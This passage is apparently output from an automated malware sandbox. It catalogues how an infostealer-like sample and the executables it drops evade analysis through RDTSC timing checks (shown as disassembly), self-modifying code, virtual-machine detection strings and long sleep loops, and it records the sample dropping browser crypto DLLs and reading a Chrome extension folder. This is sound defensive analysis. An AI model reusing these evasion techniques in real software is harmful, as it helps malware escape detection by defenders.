Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D9270 second address: 7D9275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D966B second address: 7D9674 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D9674 second address: 7D968C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FF88929ECBCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D968C second address: 7D9696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF888DC1E96h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7D9DD8 second address: 7D9DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7DBBBB second address: 7DBC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF888DC1EA5h 0x0000000a pushad 0x0000000b jp 00007FF888DC1E96h 0x00000011 jmp 00007FF888DC1E9Ch 0x00000016 jng 00007FF888DC1E96h 0x0000001c popad 0x0000001d jmp 00007FF888DC1E9Ah 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF888DC1EA9h 0x0000002a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7DFE25 second address: 7DFE51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF88929ECC0h 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7DFFD6 second address: 7DFFE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7DFFE0 second address: 7DFFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF88929ECB6h 0x0000000a jp 00007FF88929ECB6h 0x00000010 popad 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7DFFF6 second address: 7DFFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7E0425 second address: 7E0434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FF88929ECBAh 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7E0434 second address: 7E0442 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF888DC1E98h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Special instruction interceptor: First address: AEEA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Special instruction interceptor: First address: AEC2DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Special instruction interceptor: First address: CC0A69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Special instruction interceptor: First address: C967FA instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe Special instruction interceptor: First address: 5DEA7B instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe Special instruction interceptor: First address: 5DEB78 instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe Special instruction interceptor: First address: 787A2D instructions caused by: Self-modifying code
Source: C:\Users\userIJKFHIIEHI.exe Special instruction interceptor: First address: 7862D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Special instruction interceptor: First address: D1F860 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: 91EA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: 91C2DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: AF0A69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: AC67FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Special instruction interceptor: First address: B4F860 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 71EA7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 71EB78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 8C7A2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 8C62D6 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Code function: 6_2_054802E5 rdtsc 6_2_054802E5
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window / User API: threadDelayed 1209
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window / User API: threadDelayed 1203
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window / User API: threadDelayed 1226
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window / User API: threadDelayed 1267
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window / User API: threadDelayed 1120
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window / User API: threadDelayed 1096
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 1066
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 767
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 972
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 394
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 501
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 1559
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Window / User API: threadDelayed 589
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\file.exe API coverage: 7.9 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7188 Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7172 Thread sleep count: 1209 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7172 Thread sleep time: -2419209s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1048 Thread sleep count: 1203 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1048 Thread sleep time: -2407203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7176 Thread sleep count: 1226 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7176 Thread sleep time: -2453226s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1924 Thread sleep count: 1267 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1924 Thread sleep time: -2535267s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5560 Thread sleep count: 327 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5560 Thread sleep time: -9810000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7180 Thread sleep count: 1120 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7180 Thread sleep time: -2241120s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7528 Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3896 Thread sleep count: 1096 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3896 Thread sleep time: -2193096s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 124 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 501 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 1559 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 49 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 589 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 304 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe TID: 8060 Thread sleep count: 182 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2784 Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6444 Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1808 Thread sleep count: 216 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1808 Thread sleep time: -6480000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2960 Thread sleep time: -360000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Sleep loop found (likely to delay execution)
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Thread sleep count: Count: 1066 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Thread sleep count: Count: 1559 delay: -10
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_004139B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E270
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00401710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004143F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA, 0_2_00414050
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004133C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401160 GetSystemInfo,ExitProcess, 0_2_00401160
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: explorti.exe, 0000000E.00000002.3406205862.000000000162B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWh
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: vmware
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: RoamingKJEGDBKFIJ.exe, RoamingKJEGDBKFIJ.exe, 00000006.00000002.2373119176.0000000000C76000.00000040.00000001.01000000.00000009.sdmp, userIJKFHIIEHI.exe, userIJKFHIIEHI.exe, 00000009.00000002.2424291604.0000000000769000.00000040.00000001.01000000.0000000A.sdmp, explorti.exe, explorti.exe, 0000000D.00000002.2432417132.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, explorti.exe, 0000000E.00000002.3390822561.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000F.00000002.2449285864.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000001F.00000002.3390670231.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001E.00000002.2810035152.0000025DAEAAA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
